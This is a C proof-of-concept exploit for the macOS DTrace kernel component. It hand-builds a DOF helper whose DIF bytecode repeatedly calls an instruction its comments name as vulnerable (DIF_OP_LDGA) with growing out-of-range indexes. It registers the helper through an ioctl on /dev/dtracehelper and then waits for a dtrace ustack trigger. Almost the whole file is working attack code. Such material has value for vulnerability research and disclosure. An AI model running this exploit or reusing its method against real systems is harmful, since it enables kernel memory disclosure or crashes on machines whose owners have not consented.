poc.c

#include "dtrace.h"
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define offsetof(type, field) __builtin_offsetof(type, field)

typedef struct {
    char kev_woz_ere[13];
    char format[11];
    char dtrace[7];
    char helper[7];
    char ustack[7];
    char empty[1];
    char kev_name[9];
} program_strtab_t;

static const program_strtab_t program_strtab = {
    "kev woz ere",
    "kev_format",
    "dtrace",
    "helper",
    "ustack",
    "",
    "kev_name"
};

dof_hdr_t* pack_difo(dtrace_difo_t* difo)
{
    dof_hdr_t* dof = 0;
    dof_sec_t* sec = 0;
    dof_ecbdesc_t ecb;
    dof_probedesc_t probe;
    dof_actdesc_t act;
    const size_t difohdr_sz = sizeof(dof_difohdr_t) + 3 * sizeof(dof_secidx_t);
    dof_difohdr_t* difohdr = 0;
    const uint32_t secnum = 8;
    uint64_t secoff = 0;
    uint64_t dofs_offset = 0;
    uint64_t len = 0;
    size_t i = 0;

    static struct {
        int section;
        char* buffer;
        uint_t bufsize;
        int entsize;
        int align;
        const char* msg;
    } info[5];

    memset(&ecb, 0, sizeof(ecb));
    memset(&probe, 0, sizeof(probe));
    memset(&act, 0, sizeof(act));

    difohdr = malloc(difohdr_sz);
    memset(difohdr, 0, difohdr_sz);

    info[0].section = DOF_SECT_STRTAB;
    info[0].buffer = (char*)&program_strtab;
    info[0].bufsize = sizeof(program_strtab);
    info[0].entsize = 0;
    info[0].align = sizeof(char);
    info[0].msg = "string table";

    info[1].section = DOF_SECT_ECBDESC;
    info[1].buffer = (char*)&ecb;
    info[1].bufsize = sizeof(ecb);
    info[1].entsize = 0;
    info[1].align = sizeof(uint64_t);
    info[1].msg = "ecbdesc";

    info[2].section = DOF_SECT_PROBEDESC;
    info[2].buffer = (char*)&probe;
    info[2].bufsize = sizeof(probe);
    info[2].entsize = 0;
    info[2].align = sizeof(dof_secidx_t);
    info[2].msg = "probedesc";

    info[3].section = DOF_SECT_ACTDESC;
    info[3].buffer = (char*)&act;
    info[3].bufsize = sizeof(act);
    info[3].entsize = sizeof(dof_actdesc_t);
    info[3].align = sizeof(uint64_t);
    info[3].msg = "actdesc";

    info[4].section = DOF_SECT_DIFOHDR;
    info[4].buffer = (char*)difohdr;
    info[4].bufsize = difohdr_sz;
    info[4].entsize = 0;
    info[4].align = sizeof(dof_secidx_t);
    info[4].msg = "difohdr";

    info[5].section = DOF_SECT_DIF;
    info[5].buffer = (char*)difo->dtdo_buf;
    info[5].bufsize = difo->dtdo_len * sizeof(dif_instr_t);
    info[5].entsize = sizeof(dif_instr_t);
    info[5].align = sizeof(dif_instr_t);
    info[5].msg = "DIF section";

    info[6].section = DOF_SECT_INTTAB;
    info[6].buffer = (char*)difo->dtdo_inttab;
    info[6].bufsize = difo->dtdo_intlen * sizeof(uint64_t);
    info[6].entsize = sizeof(uint64_t);
    info[6].align = sizeof(uint64_t);
    info[6].msg = "integer table";

    info[7].section = DOF_SECT_VARTAB;
    info[7].buffer = (char*)difo->dtdo_vartab;
    info[7].bufsize = difo->dtdo_varlen * sizeof(dtrace_difv_t);
    info[7].entsize = sizeof(dtrace_difv_t);
    info[7].align = sizeof(uint_t);
    info[7].msg = "variable table";

    ecb.dofe_probes = 2; // info[2]
    ecb.dofe_pred = DOF_SECIDX_NONE; // no predicate
    ecb.dofe_actions = 3; // info[3]
    ecb.dofe_uarg = 0xDEADBEEF; // optional argument

    probe.dofp_strtab = 0; // info[0]
    probe.dofp_provider = offsetof(program_strtab_t, dtrace);
    probe.dofp_mod = offsetof(program_strtab_t, helper);
    probe.dofp_func = offsetof(program_strtab_t, ustack);
    probe.dofp_name = offsetof(program_strtab_t, empty);
    probe.dofp_id = 0;

    act.dofa_difo = 4; // info[4]
    act.dofa_strtab = 0; // info[0]
    act.dofa_kind = DTRACEACT_DIFEXPR;
    act.dofa_ntuple = 0; // I think this is not used by ustack.
    act.dofa_arg = offsetof(program_strtab_t, format); // For some reason, this has to be a string, even though it is never used.
    act.dofa_uarg = 0xDEADBEEF; // unused

    difohdr->dofd_rtype = difo->dtdo_rtype;
    difohdr->dofd_links[0] = 0; // info[0]
    difohdr->dofd_links[1] = 5; // info[5]
    difohdr->dofd_links[2] = 6; // info[6]
    difohdr->dofd_links[3] = 7; // info[7]

    // Calculate the total size.
    secoff = sizeof(dof_hdr_t);
    dofs_offset = secoff;
    len = 0;
    for (i = 0; i < secnum; i++) {
        dofs_offset += roundup(sizeof(dof_sec_t), sizeof(uint64_t));
        len += roundup(info[i].bufsize, sizeof(uint64_t));
    }
    len += dofs_offset;

    dof = malloc(len);
    memset(dof, 0, len);
    dof->dofh_ident[DOF_ID_MAG0] = DOF_MAG_MAG0;
    dof->dofh_ident[DOF_ID_MAG1] = DOF_MAG_MAG1;
    dof->dofh_ident[DOF_ID_MAG2] = DOF_MAG_MAG2;
    dof->dofh_ident[DOF_ID_MAG3] = DOF_MAG_MAG3;

    dof->dofh_ident[DOF_ID_MODEL] = DOF_MODEL_NATIVE;
    dof->dofh_ident[DOF_ID_ENCODING] = DOF_ENCODE_NATIVE;
    dof->dofh_ident[DOF_ID_VERSION] = DOF_VERSION;
    dof->dofh_ident[DOF_ID_DIFVERS] = DIF_VERSION;
    dof->dofh_ident[DOF_ID_DIFIREG] = DIF_DIR_NREGS;
    dof->dofh_ident[DOF_ID_DIFTREG] = DIF_DTR_NREGS;

    dof->dofh_flags = 0;
    dof->dofh_hdrsize = sizeof(dof_hdr_t);
    dof->dofh_secsize = sizeof(dof_sec_t);
    dof->dofh_secnum = secnum;
    dof->dofh_secoff = secoff;
    dof->dofh_loadsz = len;
    dof->dofh_filesz = len;
    dof->dofh_pad = 0;

    for (i = 0; i < secnum; i++) {
        sec = (dof_sec_t*)((uintptr_t)dof + secoff);
        sec->dofs_type = info[i].section;
        sec->dofs_align = info[i].align;
        sec->dofs_flags = DOF_SECF_LOAD;
        sec->dofs_entsize = info[i].entsize;
        sec->dofs_offset = dofs_offset;
        sec->dofs_size = info[i].bufsize;
        memcpy((void*)((uintptr_t)dof + dofs_offset), info[i].buffer, info[i].bufsize);
        secoff += roundup(sizeof(dof_sec_t), sizeof(uint64_t));
        dofs_offset += roundup(info[i].bufsize, sizeof(uint64_t));
    }

    return (dof);
}

dtrace_difo_t* mkprog()
{
    int i;
    size_t pc = 0;
    size_t ninstrs = 133;
    dif_instr_t* instrs;
    dtrace_difo_t* difo = malloc(sizeof(dtrace_difo_t));
    memset(difo, 0, sizeof(dtrace_difo_t));
    instrs = malloc(ninstrs * sizeof(dif_instr_t));
    ;
    difo->dtdo_buf = instrs;
    difo->dtdo_len = ninstrs;
    difo->dtdo_strtab = (char*)&program_strtab;
    difo->dtdo_strlen = sizeof(program_strtab);
    difo->dtdo_rtype.dtdt_kind = DIF_TYPE_STRING;

    // r1 = 0xFFFFFFFFFFFFFFFF
    instrs[pc++] = DIF_INSTR_FMT(DIF_OP_NOT, 0, 0, 1);

    // r1 = 1
    instrs[pc++] = DIF_INSTR_FMT(DIF_OP_SUB, 0, 1, 1);

    // r2 = 2
    instrs[pc++] = DIF_INSTR_FMT(DIF_OP_SLL, 1, 1, 2);

    for (i = 0; i < 64; i++) {
        // r2 *= 2
        instrs[pc++] = DIF_INSTR_FMT(DIF_OP_SLL, 2, 1, 2);

        // Call vulnerable instruction DIF_OP_LDGA.
        // r3 = LDGA(0, r2)
        instrs[pc++] = DIF_INSTR_FMT(DIF_OP_LDGA, 0, 2, 3);
    }

    // Attempt to write a string in the ustack output. Unfortunately,
    // ustack helpers are broken in macOS, so this does not work.
    // r4 = "kev woz ere"
    instrs[pc++] = DIF_INSTR_SETS(offsetof(program_strtab_t, kev_woz_ere), 4);

    // return r4
    instrs[pc++] = DIF_INSTR_FMT(DIF_OP_RET, 0, 0, 4);

    // Check that we allocated the correct number of instructions.
    if (pc != ninstrs) {
        printf("wrong number of instructions: %lu != %lu\n", pc, ninstrs);
        exit(1);
    }

    return difo;
}

void register_helper()
{
    int fd, err;
    dtrace_difo_t* difo;
    dof_hdr_t* dof;
    dof_ioctl_data_t* ioctl_data = 0;
    int rv = 1;
    int result;

    ioctl_data = malloc(sizeof(dof_ioctl_data_t));
    difo = mkprog();
    dof = pack_difo(difo);

    ioctl_data->dofiod_count = 1;
    strcpy(ioctl_data->dofiod_helpers[0].dofhp_mod, "helper");
    ioctl_data->dofiod_helpers[0].dofhp_addr = (uint64_t)dof;
    ioctl_data->dofiod_helpers[0].dofhp_dof = (uint64_t)dof;

    fd = open("/dev/dtracehelper", O_RDWR);
    err = errno;
    printf("open /dev/dtracehelper %d %d\n\n", fd, err);
    fcntl(fd, F_SETFD, FD_CLOEXEC);

    rv = 1;
    result = ioctl(fd, DTRACEHIOC_ADDDOF, &ioctl_data, &rv);
    err = errno;

    printf("dofhp_dof = %llu\n", ioctl_data->dofiod_helpers[0].dofhp_dof);
    printf("ioctl %d %d\n", result, err);
    printf("rv = %d\n\n", rv);
}
// sudo dtrace -n 'pid$target::foo:entry { jstack();  }' -p `pgrep poc`
void foo() { }
int main()
{
    register_helper();

    printf("%d\n", getpid());
    puts("start dtrace && press something here afterwards");
    getc(stdin);
    foo();
    getc(stdin);

    return 0;
}